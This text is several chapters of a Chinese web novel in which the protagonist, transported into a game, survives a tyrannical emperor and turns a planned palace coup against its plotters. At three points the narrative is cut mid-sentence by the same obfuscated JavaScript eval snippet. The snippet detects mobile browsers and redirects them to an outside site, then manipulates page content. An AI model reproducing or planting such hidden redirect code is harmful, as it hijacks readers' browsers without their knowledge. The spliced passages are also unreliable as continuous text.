《权臣,但拿了妖后剧本》
2. 死期将近
舞乐声歇,死一样寂静。
而坠进领口的血,终于冷透,冻煞骨髓。
谢鹤生不受控制地发起抖来,刺鼻的血腥味让他想要呕吐,巨大的恐惧却让他连动都动不了。
亲眼看到一个活生生的人就这么尸首分离,所带来的冲击,是游戏里多少文字和CG都无法比拟的。
大脑,甚至有一瞬间完全的空白了。
但脖颈处的冰冷,硬生生将谢鹤生从恍惚中拽了回来,不断提醒着他,如果不做点什么,下一个人头落地的,就是他自己。
可他又能做些什么?求饶吗?
他面前的,是从不听人劝谏,一身反骨的薄奚季。
越求饶,越会激发薄奚季杀人的兴致,他死得,也就越快。
说来说去,难逃一死。
不知怎的,谢鹤生心里,忽然涌现一股可笑的荒谬。
他到底倒了什么霉,人都猝死了,还要和薄奚季这种人纠缠在一起?一想到以后都要为了攻略他战战兢兢,还不如现在,一死了之,一了百了。
激烈的愤怒之下,谢鹤生突然就不怕了。
他的身躯,还在生理性地战栗,可眼底,已经看不到恐惧。
薄奚季的剑,仍抵在他喉前,方才,谢鹤生方寸大乱,本能地想要逃避,故而眼帘低垂;
此刻,他却一避不避,望向薄奚季。
便是这样一个仰视的角度,弱化了桃花眼柔美的弧度,显出几分锐利锋芒来。
谢鹤生对上薄奚季的眼眸。
那人有双蛇般的眸子,看人时只有无情与冷漠,眼下,还带着几分戏谑。
就像在欣赏他的垂死挣扎。
谢鹤生定了定神,震声开口:
“陛下独断专权,只要想,自然谁都杀得。”
“只是事情未明便武断杀人,如此不计后果、逞一时之快,实为暴君之行。臣恳请陛下彻查此事,纵使臣因此获罪,臣也问心无愧。”
说完这句话,谢鹤生望向帝王的神情,更多了几分坦然,和…畅快。
天知道他在测试薄奚季攻略线的时候,有多少次想要像这样破口大骂。
他跪在玄极殿中央,就像一棵松柏,哪怕面对帝王无尽的威压,依旧不屈不折。
落在他身上的目光,也从单纯的惊恐,多了几分敬佩。
而被以暴君之名洗礼的薄奚季,并未回应。
只是唇角的笑意,变得更加深邃而狰狞。
已有人不忍地闭上眼睛,屏住呼吸,等着头颅落地刹那溅起的闷响。
然而沉默持续良久,最终,却化作收剑入鞘的声音。
帝王回身,向着殿上走去。
剑仍在滴血,从鞘里渗出,像蛇腹的蜿蜒行迹。
殿中那道身影仍在那里,跪得笔直,全须全尾。
内侍官清了清嗓子:“奏乐!”
鼓吹笙瑟随着这一声令下再度响起,第一声走了调,很快渐入佳境,重新欢悦起来。
舞姬踩着节拍上殿,脚尖涂抹开鲜血,小心地旋过横陈的尸体。
一不留神,卫尉丞的头颅,就被欢快的舞步踢中,骨碌碌滚落台阶,滚进宾客脚下。
那人惊恐之下逃离了座位,又在帝王的注视下不得不坐了回去。
美酒佳肴如流水送来,舞姬的长裙扬起掺血的风,珍馐美馔皆尽拌进血里,变得难以下咽。
甚至有人连筷子都拿不稳,几番从手中掉落。
众人下意识望向谢鹤生的方向。
侥幸留下一命的青年坐回席间,锦衣玉服染了血迹,发髻也乱了,漏出几绺碎发,在帝王面前衣衫不整是大不敬,他似乎也意识到了这点,简单理了理鬓发,就拿起玉著,挑了一筷饭,慢条斯理地吃了起来。
他吃得很仔细,一口饭要咀嚼数十次,才会缓慢地咽下去。
吃完一口,就再挑一口,直到一碗饭吃完,他拿出锦帕擦了擦嘴,从始至终,脸上不见分毫惧色。
…个鬼。
走出皇宫,谢鹤生腿一软,扶着墙就开始干呕,把吃下去的又全部吐了出来。
哪怕在游戏里无数次见证过薄奚季的喜怒无常,但那一刻,薄奚季所带来的压力,就仿佛在丛林之中被天敌盯上,生理恐惧让他甚至控制不住自己的颤抖。
天知道他表面冷静地吃饭,实则腿都已经掐青了。
和谢鹤生的惨状相比,系统称得上是喜气洋洋。
脑海深处又响起一阵劲爆的电吉他:
【恭喜宿主完成新手任务!】
【因为您的优异表现,系统将随机为您增加一项初始数值。】
【随机结果:家世+100】
【身份已绑定:谢悯】
谢悯…
这个名字,有些耳熟,但也只是耳熟而已,《天下争霸》的角色众多,大部分都只充当背景板的作用。
既然没印象,说明不是什么重要角色。
“悯儿!”
就这时,前方,风尘仆仆跑来一个中年人。
谢鹤生愣了一会,才反应过来对方是在叫自己。
此人约莫五十余岁,两鬓略有白发,却器宇轩昂,一看便知显赫。
更重要的是,谢鹤生仔细看了看,觉得此人的五官轮廓,与自己有些相似。
他试探着唤了声:“爹?”
那人应了一声,便一把将谢鹤生紧紧搂住,上上下下扫了好几遍,嘴里念着:“完整的,完整的就好。”
紧接着,他陡然变脸,抖着手就破口大骂:“小畜生!你有多少条命,敢跟陛下对着干?你看那是什么?”
顺着谢正手指的方向看去,谢鹤生先看到一架马车,而在马车的旁边,是…
一块板?
谢正冷冷一笑:“要是竖着出来,爹载你回去,要是横着出来,爹拉你回去。”
谢鹤生唇角疯狂抽搐:“…”
上了马车。
带有熏香的奢华马车,驱散了些玄极殿内的阴霾,启程时马车剧烈一颠,谢鹤生总算堪堪有了劫后余生的实感。
却没有多少劫后余生的喜悦。
这太不正常了,薄奚季怎么会饶他一命?
薄奚季,绝不是会手下留情的人。
算了,谢鹤生揉了揉酸胀的太阳穴,既然想不通,就先不想了。
为了转移注意力,谢鹤生看向马车内部。
这架马车称得上奢华无比,马车内,甚至摆放着用来喝茶的桌几,此刻其上正叠着几枚精致的果子。
这样的形制,唯有比二千石以上官员,才有资格享受。
也就是说,他家,至少是个朝廷大员。
不过,在薄奚季的统治下,这些大员,最终也只能落得空有虚职,而无实权的结局。
谢正递来一枚果子,谢鹤生不好推辞,味同嚼蜡地吃了。
许是见谢鹤生面色不佳,一路上,谢正都没有说别的话,直到马车行驶渐缓,谢正推开侧窗:“我们到了。”
谢鹤生打起精神,转眸向窗外看去。
巍峨气派自不必说,吸引谢鹤生目光的,是那三间宽的入口上方,黑底金漆的匾额。
——司空府。
谢鹤生手一抖,手里的果子,径直骨碌滚落。
他终于想起来了,谢悯这个名字,为什么这么耳熟——
系统给他绑定的身份,竟然是泽阳谢氏的子弟,当朝司空的儿子!
泽阳谢氏,那可是著名的世家高门,自曾祖起,谢家每一代都有人位列三公,可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119385|195945||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以说,放眼整个大梁,也找不出比谢家门第更显赫的来了。
这本该是件好事。
可是…他分明记得,在卫尉丞事件后不久,薄奚季,就以大逆之罪,清算了谢家。
满门抄斩,一个不留。
怪不得薄奚季不急着杀他!原来是因为他根本就活不过三天!
谢鹤生刹那间头晕目眩,忍不住,看向跟在马车后的,本来打算拉他回来的那一块棺材板。
要不,他还是直接躺上去算了。
【这就是你给我的任务奖励?】
这哪里是奖励?明明是催命!
【这不是想多给您一些与薄奚季接触的机会嘛。】
这激动的语气,一听,就知道它是故意的。
【接触?】谢鹤生心在滴血,【你是指我的人头被他的剑砍下来那种接触吗?】
系统不说话了,事实证明它无话可说,转而发出“叮!”的一声。
【主线分支任务发布】
【可选任务一:阻止薄奚季清算三公,任务奖励:权臣+10】
【可选任务二:与薄奚季肌肤相贴,任务奖励:妖后+10】
谢鹤生紧紧攥住茶几一角,手背绷得青筋浮动。
虽然嘴上说着辅佐薄奚季不如去死,但在玄极殿上与死亡共舞,几乎榨干了他全部的勇气,哪怕此刻,只要想起那剑那人,心跳也像乱了的节拍,让谢鹤生忍不住作呕。
眼下,与玄极殿不同,还不算穷途末路。
谢鹤生咬紧后槽牙——绝不能坐以待毙,他还要挣扎一下。
…
太阿宫,帝王理政之地。
麟衣台使者单膝跪地:“谢悯出了宫门,就被司空大人接上马车了。”
薄奚季翻看奏折的手并未停顿,闻言冷笑:“谢正倒是真疼爱他这个幺子。”
麟衣使打量着帝王的神色:“宠溺过头,只能娇养出个纨绔无能、口无遮拦的孩子。”
薄奚季将奏折放下,反问:“你认为他是口无遮拦?”
麟衣使忽然没来由地慌张,太阿宫内烛火昏暗,帝王细长的瞳仁,像蛇捕猎的前兆,死死掐住了麟衣使的脖颈。
“卑职…”
薄奚季微微下倾视线,只这一个动作,就有无穷压力砸向麟衣使肩头。
麟衣使因此更加紧张,甚至感到呼吸不畅。
直到薄奚季重新看向奏折,压力才减轻了些,冷汗,早已浸湿麟衣使的行装。
“继续说。”
麟衣使收敛心神,将思绪,重新投入职责中去,一五一十,将谢鹤生父子之间的谈话托出。
就连马车内的话语,竟也分毫不差。
甚至,连谢鹤生看见司空府匾额,手中果子不慎掉落,也俱如实相告。
屏风后,帝王兴味甚浓:“你是说,他被自家门楣,吓了一跳?”
确有几分这个意思,麟衣使回忆起来,那绛红衣衫的青年微微瞪大双眼,唇瓣翕动嗫嚅,倒有几分像是误入陷阱的白兔子。
但他有些摸不准帝王的意思,当然也不敢揣测,只低头道:“卑职不敢妄言。”
薄奚季没有接话,敛着眸子阅完奏折。
指腹轻轻蹭过墨迹,抚卷细阅的姿态,却像蛇在观察猎物的躯体,以寻得下口之处。
下一瞬,奏折被他甩出屏风,恰落在麟衣使跪伏的膝前。
“卑职这就处理干净。”
麟衣使早已习以为常,忙不迭拾起奏折,临走,又讷讷停下脚步,他可没有忘记,薄奚季喊他来,是为了谁的事。
“陛下,还要继续跟着谢悯么?”
“跟着。”
帝王的语调无悲无喜,好像方才那一瞬的兴致,只是麟衣使的错觉。
3. 密诏
一如谢鹤生记忆中那样,卫尉丞的死,只是一个开始。
以卫尉丞事件为抓手,薄奚季开始大刀阔斧地清理朝堂,凡是与卫尉丞有过联系的朝臣,皆都被打上同党的标签,下狱、斩首,一时之间,大梁朝堂风声鹤唳,人人都在担忧,下一个遭殃的会是自己。
也正是在这个时候,从卫尉丞家中,搜出了与谢正往来的书信——内容与谋逆有关。
帝王当场发难,将谢正下狱,三日后问斩。
一切,都与游戏剧情一模一样。
“根本就是一派胡言!”说话的人是谢正的次子,原身的二哥谢恒,“卫尉丞何时与爹有过书信往来?他跟我们家根本八竿子都打不着!我们家要是真想造反,还需要找卫尉丞吗?!”
“还有这群朝臣,此前一个个如狗似的跟在我们家身后,眼下却是连个狗影也看不见了!亏得爹之前还要我们与人为善,善他个狗屁!”
谢鹤生敛眸坐在一旁,缄口不言。
谢恒时任羽林中郎将,掌管宫门守备,原剧情中的此时,谢正的三个儿子中,长子谢怿外派、幺子谢悯年轻,只剩下谢恒,在为了救父而四处奔波求人。
可事关谋逆,又有谁会愿意主动踏进漩涡,原本与谢家交好的朝臣纷纷高高挂起,谢恒吃了几次闭门羹,变得越来越心急如焚。
就在这时,有人向谢家伸出了援手。
——丞相岳肃。
这起谋逆案的幕后推手。
回忆到了此处,门口适时地响起人声。
小厮道:“二位公子,丞相府刚送来帖子,请公子们去丞相府一叙。”
“丞相?他这时候…”谢恒眉头紧皱,接过帖子看了起来。
片刻,他看向谢鹤生,眼里多了几分喜色:“丞相说,有法子救爹!只是要我们去他府上细说。事不宜迟,我现在就去谒见。你就留在家中,安抚好母亲,不要担心,无论如何,我都一定会把爹救出来!”
“…”谢鹤生看着他炯炯有神的老虎眼:
不,你去了我才担心。
“二哥!你先别急,咱们家与丞相素来没什么交情,眼下父亲下狱,正是人人自危的时候,怎么丞相就突然愿意相助?”
“二哥手中有羽林军,贸然去见丞相,若真有办法也就算了,若是没有,平白还要被陛下怀疑我们勾结朝臣,”谢鹤生道,“但爹也不能不救,目下家里唯有我一个闲人,我去见丞相最合适。”
谢恒倏然一愣,这段话逻辑缜密,怎么听都是金玉良言,却唯独从谢鹤生嘴里说出来,显得格外突兀。
这还是他天真烂漫的弟弟吗?
“可…”谢恒还是有些犹豫,“你尚未经历过官场沉浮,嫩生生一个雏儿,见了岳肃这样历仕三朝的老狐狸,怕是要被生吞活剥了去,叫我怎么放心?”
谢恒毕竟不知道,眼前的幺弟,已经换了一个人。
手握剧本的谢鹤生,是最知道该做什么的人。
“哥,你信我。”
谢恒还想说些什么,但甫一低头,便对上谢鹤生的眼眸——这是一种他从未在弟弟身上见到过的眼神,其中的认真笃定,让他下意识点了头。
谢鹤生片刻不停,叫上车夫,赶往岳肃府上。
丞相岳肃,大梁三朝辅政之臣,堪称朝中资历最深、地位最高之人。
谢鹤生带着帖子来到岳肃府,差人通传,很快,管事就出来迎接,只见到谢鹤生一人,似乎还有些惊讶:“这…六公子一个人来?”
“是啊,我一个人来。”谢鹤生不露声色地调转矛头,“可以吗?”
管事堆着笑脸:“可以可以,老爷在里头等您。”
一路上,谢鹤生观察着丞相府,游戏对岳肃的评价,到底脱不开质朴二字,哪怕身居高位,他也始终克己节俭,丞相府里的大小陈设,都低调到有些简陋。
岳肃本人,也是个其貌不扬的老人,须发皆白,衣着朴素,他似是没想到来的只有谢鹤生,稍愣了下,又很快调整好表情。
“六郎,快坐。”
“见过世伯。”谢鹤生恭敬地行了礼,却不坐,像是已经吓得六神无主,“世伯,我爹是冤枉的,您可有什么办法,可以向陛下证明我爹的清白?”
“六郎稍安勿躁,”岳肃将他请上座位,沉沉叹息道,“如今,为了卫尉丞的事,陛下杀了一批又一批的人,在这个节骨眼上,却搜出了他与你爹的密信…卫尉丞已死,即便你爹是清白的,也是死无对证了。”
死无对证。
没错,这正是这件事中,最无解的一点。
也是最巧合的一点。
若是加以利用,便能像现在这样,将无辜之人卷入漩涡。
“唉…”岳肃恰到好处地停顿,“为今之计,唯有…只是…”
谢鹤生立刻表态:“世伯但说无妨!只要能够救出我爹,谢家什么都愿意做。”
“既如此,我便也不卖关子了。”
岳肃拿起一只锦匣。
这锦匣,就放在桌上,岳肃伸手就能够到,也就是说,是早就拿了出来,准备好的。
谢鹤生在岳肃的眼神授意下,缓缓打开锦匣。
瞳孔蓦地一缩。
唯有皇家才有资格使用的金纸,与朱色字迹融在一处,无不在告诉他——
这是一封密诏。
“先皇驾崩前,留下了这封诏书。”室内分明只有他们二人,岳肃还是压低声音道,“若新皇德行有亏,可另立宣王为帝。”
最初,复盘谢家被清算始末的时候,谢鹤生就没想明白,谋逆这样的大事,为何谢恒只与岳肃匆匆见了一面,就被轻易拉拢。
但见到眼前这封密诏,就说得通了。
密诏在手,谋反也就成了师出有名。
“薄奚季残暴不仁,大梁百年基业,不能毁在他手中。”
这话倒有几分道理。
“你父亲命在旦夕,更拖不得。我已查明,三日后,恰是你二哥值守宫门,届时,还望他手下的羽林军,莫要阻拦我们。”
这就完全是一派胡言了。
谢鹤生瞬间就明白岳肃打的是什么主意:
羽林中郎将掌管宫廷禁卫,堪称皇帝身边的最后一道防线,岳肃想让羽林军放弃守卫,好带人长驱直入帝王寝宫。
他恰到好处地表现出犹豫:“这…这可是谋逆…”
“六郎!”岳肃语气严厉了几分,“这不是谋逆,而是正朝纲!你可不能犹豫了,你爹他,命在旦夕啊。”
谢鹤生低下头,敛去眼底的无语。
他的领导也经常说加班是为了公司作贡献,事实却是他被压榨到猝死。
不过,此刻岳肃看着,谢鹤生装出被打动的样子,了一礼:“世伯说得对,我现在就去告诉哥哥,谢家,但凭世伯吩咐!”
“这样才对。”岳肃微笑道,显然将谢鹤生看成好拿捏的软柿子了。
岳肃亲自送谢鹤生离开。
行至后院门前时,一阵欢声笑语闯入耳畔,引得谢鹤生侧目看去。
不远处,婢女们带着几个孩子,正在假山周围捉迷藏。
“让六郎见笑了,”岳肃的严肃神情,也在看到家人时多了一抹笑意,“孙辈正是爱玩闹的年纪,吵得我这府中,一日不得安宁。”
岳肃虚长谢正十岁,儿女各自成家,孙辈绕膝。
“六郎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119386|195945||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
谢鹤生恍然回神,眼帘低垂着掩饰落寞。
他躬身与岳肃告辞,弯腰上了自家马车。
“翁翁,这是谁呀?”
岳肃与孙儿的交谈,漏进了车窗。
小童牵着岳肃的袖子,大眼睛眨巴眨巴。
“这是谢公家的小公子,好了,别看了,翁翁带你回去咯。”
岳肃将孩子抱起,那孩子,趴在岳肃肩上,仍好奇地望着谢鹤生的马车。
谢鹤生在车帘后朝孩子挥了挥手,便叫车夫启程。
【宿主,您怎么了?】
还是躲不过系统的追踪。
“我只是在想,岳家,算上门生,足有千人之数,薄奚季…就这么全杀了。”车轮碾过地面,谢鹤生用力闭了闭眼,在游戏里,九族只是数字,可真的穿到游戏里,看着那一大一小手拉着手的背影,谢鹤生才意识到——这都是活生生的人命。
而薄奚季,眼也不眨一下,尽皆杀遍。
再算上谢家、司徒王家和其他牵涉入谋逆的公卿大臣,薄奚季一夜之间,就杀了数千人。
怪不得,历史对这场谋逆案的评价,是“屠杀”。
【您不觉得他们该死吗?】系统没有波澜地问。
“想要推翻一个残暴不仁的皇帝,有什么错?”谢鹤生说,“薄奚季都活得好好的,他们为什么该死?”
【您只是可惜岳肃美满的家庭就快要毁于一旦了吧?毕竟,人类总是向往自己没有拥有过的东西。】系统冷冰冰地分析,又忽然欢愉起来,【您还是想想,该怎么阻止三公夷族吧,不然您只能投入薄奚季的怀抱了哦~】
谢鹤生:“…”
他屈指叩了叩额角,在脑子里把系统关机了。
游戏里,这趟会面之后,谢恒听从了岳肃的吩咐,提前撤了守备。
宫禁无人,岳肃率领的死士畅通无阻地闯入皇宫,只不过,他们自以为万无一失的谋划,其实早就在薄奚季的掌控之中。
他们甚至没能触碰到帝王的衣角,就在刹那间灰飞烟灭。
谢鹤生手掌紧紧攥着,骨节泛白。
…
麟衣使匆匆步入太阿宫。
薄奚季仍在屏风后批阅奏折,麟衣使离开时,他便是这个动作,连姿势也没改变。
“岳肃亲自见了谢悯,二人在屋内密谋良久,定于三日后子时行逆。另外,宣王已经进京,就藏在城西的客栈中,卑职查过了,这客栈是司徒王家的产业。”
麟衣使问:“陛下,可要提前控制住宣王和岳肃?”
“不必,”薄奚季头也不抬,谋逆这样足以叫掌权者夜不能寐的词汇,甚至无法引起他语气的一丝波澜,“让他们去。”
“是,”麟衣使点了点头,又问,“那,谢家那边…”
一边说着,他一边小心地打量着帝王的脸色。
麟衣台早已彻查过,除了那封书信,并未找到谢正谋逆的其他证据。
而书信,恰恰又是最容易伪造的东西。
虽然不知道薄奚季为何还是囚禁了谢正,但若是谢家因此而与岳肃一党同谋…那就真的是诛九族的大罪了。
很难说,这是不是帝王的手段,为了逼迫谢家一同谋反,好将三公一网打尽。
麟衣使收回思绪,他只负责执行命令,无需揣摩帝王的心思。
“若与之同来,将谢恒拿下。”
空气静默一瞬,似乎有蛇在暗处爬行,蛇腹摩挲过地面,发出窸窣响动,庞大的蛇躯,将光亮都遮挡。
过了一会,麟衣使才反应过来,原来是帝王抬起手,熄了一盏烛火。
“至于谢悯,乱箭射死就是。”
4.出人意料
谢鹤生回到府上,向谢恒提了岳肃的计划。
不出所料,生性直爽的谢恒,根本没读出其中的蹊跷,甚至喜出望外:“不错,就这么办!既有先帝遗诏在手,这个昏君,推翻也罢!”
谢鹤生汗颜,不得不感慨岳肃选择时机的巧妙——
若是谢家大哥谢怿在这里,以之细致谨慎的性格,岳肃想要拉谢家入伙,未必会有这么顺利。
想到这里,谢鹤生轻轻捏住兄长的袖子,不确定地问:“哥,爹会与卫尉丞同谋吗?”
“当然不会,爹一生所求,不过谢家安稳而已,绝不可能举事造反。”谢恒斩钉截铁地说完,脸色倏地一变,“…”
“是啊,那就奇怪了,既然爹不会谋逆,那封书信,又是哪里来的呢?”谢鹤生顺着他的话说,“若是父亲没有下狱,我们自然也不会求助丞相,二哥的羽林军,恐怕就会把丞相他们拦在宫门外...”
谢恒的眉头,随着谢鹤生的话越皱越紧。
“你是想告诉哥哥,父亲下狱,是丞相的手笔,是么?”
终于懂了。
谢鹤生松了口气。
薄奚季的攻略线是个半成品,与攻略剧情无关的内容,大多只有一纸空壳,就像这场累及三公的谋逆案,游戏里,也并没有设置具体细节。
他也只能通过蛛丝马迹,补全逻辑链条。
就像现在。
亲自去了丞相府一趟,谢鹤生打开了全新的思路。
“我想,那封与卫尉丞同谋的密信,必定是伪造的,而伪造的人,很可能就是岳肃…他故意让陛下发现这封信,好逼迫我们,为了救出爹,而参与谋反。大哥,我尚未入仕,并不清楚,朝中,有谁能够模仿他人字迹吗?”
谢恒思忖片刻,忽地拍案而起:“…宣王!宣王善笔墨丹青,先皇在时,他就常常仿先皇字画博其欢心,如果是他,模仿爹的字迹,应当不难。”
谢鹤生略略点头。
如此一来,就全串起来了,也是,推翻薄奚季,获利最大的就是宣王,他又怎么可能不亲自参与谋划呢?
“这两人真是好本事,为了拖谢家入局,竟然不惜用这么下三滥的手段!”谢恒重重砸了下桌子,险些把茶具都震出桌面,“既如此,我们绝不能如他们所愿,我现在就去绑了岳肃,交由陛下…”
“哥!恒哥哥!”
谢鹤生赶紧扶住茶具,忍不住打断道:“信是在卫尉丞府上发现的,卫尉丞已死,只要岳肃一口咬定没有见过密信,难道我们还能逼着他承认么?岳肃也一定是想到了这一层,才敢诬陷爹的。”
“更重要的是,宣王的本事,连我们都知道,陛下,真的会看不出来吗?要我说,陛下就是故意的,如果我们一时糊涂加入了岳肃,陛下便正好连着谢家一起清算,若是我们发现端倪与岳肃反目,陛下便可坐收渔翁之利。”
“…”谢恒哑然张了张嘴,“陛下…这么不要脸?”
谢鹤生冷笑一声:“呵。”
何止是不要脸!
简直是太不要脸!
谢恒更为茫然,觉得,弟弟与帝王,好像有什么深仇大恨。
可他们应该根本连面也没见过几次。
“那依你看,我们该怎么办?”
谢鹤生放下茶杯:“岳肃想让谢家做他的刀,那我们就做这么一把刀,但刀捅向谁,由我们说了算。”
青年的声音,无比平静柔和,如无波的海面,却将谢恒所熟知的那个娇生惯养的弟弟,淹没殆尽。
谢恒甚至有几分恍惚,忽然不知道,眼前的人究竟是谁?
“哥,我需要你带领羽林军,假装大开宫门,找机会,拿下宣王和岳肃。”
…
月黑风高。
乌云像饕餮的影子,蚕食着月亮,啃出一个个凹凸不平的窟窿,又投入地上,变作婆娑树影。
谢鹤生感慨道:“真是个适合埋尸的好日子。话说回来,要是失败了,能不能读档?”
【不能,】系统循循善诱,与全世界为敌也要嗑这个CP,【但是您可以转投妖后线,和薄奚季甜甜蜜蜜。】
“那我还是死吧。”
谢鹤生一句话终结话题,他注意到不远的屋檐下漾开一大片阴影,谨慎地缓慢靠近。
掩在屋檐下的,是一辆轮椅,轮椅上的男人气质内敛,正是宣王薄奚幸。
谢鹤生的视线扫过宣王的下肢,他的腿被一张薄毯盖住,看不分明。
但谢鹤生却知道,游戏设定里,大梁国君必须身体完好,薄奚季登基后,宣王为求自保,自断双腿,才得以苟活。
所以眼下,宣王是一个无法行走的残废。
“这就是小谢公子吧?果真君子如玉…谢公好福气。”宣王虚弱地咳了咳,脸上挂着抹苍白的笑。
诛九族的大罪,在他嘴里,就像一个小忙那样平常。
“见过宣王。”谢鹤生借着行礼观察着他。
这张脸,也能算得是端正温润,但与薄奚季,却是一点也不相似。
不如说,薄奚季与自己的兄弟姐妹,都不相似。
尤其是那一双蛇眸。
所以,也曾有传言,薄奚季非皇家血脉。
宣王又关心了谢鹤生几句,不多时,一阵沉闷的脚步声,从更深处传来,在岳肃的带领下,一队死士,缓缓走到二人身前。
大梁的重臣,家中大多都暗养死士,但岳肃这批死士的数量,还是超过了谢鹤生的想象。
简直,就像是一支军队。
这么多人,竟然,就这样被薄奚季一息之间覆灭了!
“六郎已来了啊,看来是老夫来晚了。”岳肃说道,从袖里摸出密诏,恭敬地交给宣王,俨然已将宣王视作新帝,“今日若能成事,大梁,将再享百年安泰。”
谢鹤生紧紧盯着密诏,直到密诏被宣王藏进怀中。
宣王的贴身侍从推动轮椅转向谢鹤生,谢鹤生明白该轮到自己表忠心了。
谢鹤生拿出令牌,黑底镀金的令牌上,写着“羽林”二字。
“这便是羽林军的令牌,届时只需要出示这枚令牌,羽林军就会放我们通行。宣王殿下,丞相大人,请随我来。”
只一眨眼,乌云便将月亮吞噬殆尽。
深夜的蝉鸣,格外清晰,一下一下,带动心跳共振。
训练有素的死士,连呼吸都极轻,若非黑压压的影子不断迫近,谢鹤生都快以为身后空无一人。
汗浸湿手掌,被攥在手心里,终于,羽林军看守的东阙门近在眼前。
始终紧紧跟随自己如背后灵的动静,忽然停止,谢鹤生回身看去,除岳肃以外,宣王与死士,都停了下来,像有一道泾渭分明的线,将双方拦开。
他们在等待着什么,试探着什么。
前方,一袭轻甲的谢恒快步走来,行至宣王身前,单腿跪下抱拳行礼。
“羽林军但凭殿下差遣。”
宣王的视线,环绕过官道,又落在谢恒脸上。
“中郎将可想好了?谋逆可是大罪,我不愿连累你们,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133991|195945||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
若想退出,现在就可以离开。”
有只手揪住了谢鹤生的心脏。
谢恒年轻气盛,脸上藏不住事,很容易,就会被宣王、岳肃这样的老狐狸看出端倪。
谢鹤生早叮嘱过,要谢恒尽量少言。但眼下,宣王主动开口,却是无法避免的。
谢恒现在和宣王,距离实在太近了,哪怕表情只有细微的变化,恐怕宣王也能看得一清二楚。
谢恒震声道:“宣王这是什么意思?我父仍在狱中,身为人子,我还有什么可犹豫的?薄奚季昏聩无德、残害忠良,这样的皇帝,早就该推翻了!”
“…”谢鹤生松了口气,从他的角度看,谢恒简直就像一只气昏了头的大老虎,正在愤怒地嗷嗷叫。
尤其是提到薄奚季时,看得出来,他的所有辱骂都是发自真心。
而宣王也很满意他的辱骂。
宣王微微颔首,原地待命的死士,齐齐迈步,他们分拨行动,一队护在宣王四周,其余的则跟随在队尾。
谢恒起身,走最前开路,轻甲刮擦的声音紧而窸窣,像黑夜里有无数蛇群正在爬行。
谢鹤生目不斜视地跟着兄长,两侧是负甲而立的羽林军,他们贴着墙根站立,对漏夜行进的造反者视若无睹。
官道将队伍压缩得窄长,两侧砖严缝密的高墙,将月亮也遮挡在外,像一个不透风的瓮,看不到墙外的光景。
墙外的人,却能将他们一览无余。
高墙之上,一丛丛漆黑的影子,正在那里蛰伏。
一支箭,正对准着谢鹤生的头颅,随着他的移动而移动,没有丝毫偏移。
那是得到帝王命令的麟衣使,正在准备射穿谢鹤生的头颅。
“等等!”东阙门尚有一段距离,宣王忽然出声,“东阙门为何大门紧闭?”
谢鹤生停下脚步,半边脸隐在黑暗中。
下一瞬,他大手一挥——
“动手!”
原本如同空气静默的羽林军,刹那间拔出长刀,将岳肃和宣王,包围了起来!
突然的异变叫岳肃愣在当场,片刻,他才气急败坏地质问:“六郎?!你这是什么意思?!”
“什么意思?”谢鹤生深吸一口气,他过去只在影视作品里见过这般场面,此刻刀光剑影映刺他的双眼,竟有几分炫目,“宣王、丞相,你们食大梁俸禄,却行逆大梁之事,为人臣者,自然是要——勤王护驾!”
勤王护驾。
这四个字,放在此时此刻的情境中,谢鹤生自觉有几分诙谐,听在旁人耳中,却又叫人心弦巨震。
他们似乎也是没料到,会有人对薄奚季这样的帝王,如此忠心耿耿。
因此而震惊的不止岳肃,还有正埋伏在高墙上的麟衣使。
“…这…谢悯这是什么意思?”说话的麟衣使年纪尚轻,搭着弓弦的手指正抽搐不已,“萧大哥,我还、还射吗?”
被称作萧大哥的麟衣使也有些犹豫,下方,羽林军与死士正在对峙,但无论是否开战、战况如何,在训练有素的羽林军面前,宣王,是无论如何也不可能接近宫门了。
只是如何处理谢家,尤其是谢悯…
萧大哥一时心乱如麻。
说好的谋反呢?这是不是太突然了点?
他要是在这里杀了谢悯,岂不是,杀了大梁的大忠臣?
这还是第一次,现实情况,与麟衣使探听到的情报大相径庭。
“…”萧大哥纠结再三,按住了麟衣使搭弓的手,“先去禀告陛下!”
5.医学奇迹
太阿宫内,帝王正在翻阅奏折。
哪怕麟衣使动静不小,他也依旧没有分出多少心神,只是目光扫过麟衣使空荡荡的手时,微微蹙了下眉心,似乎很是遗憾。
“陛下!谢悯、谢悯…”
薄奚季半张脸都被奏折挡住,只露出一双眼目,在黑暗中似有幽幽光亮。
“死了?”
麟衣使汗如雨下,确实薄奚季的命令是趁乱除掉谢家六郎,但事实根本不是这样!
“谢悯带着羽林军,包围了宣王等人!说,说是要勤王护驾…”
这四个字他自己说出来都觉得荒谬,忍不住偷瞄向帝王的表情,却刹那间对上那双蛇一般细长的瞳仁。
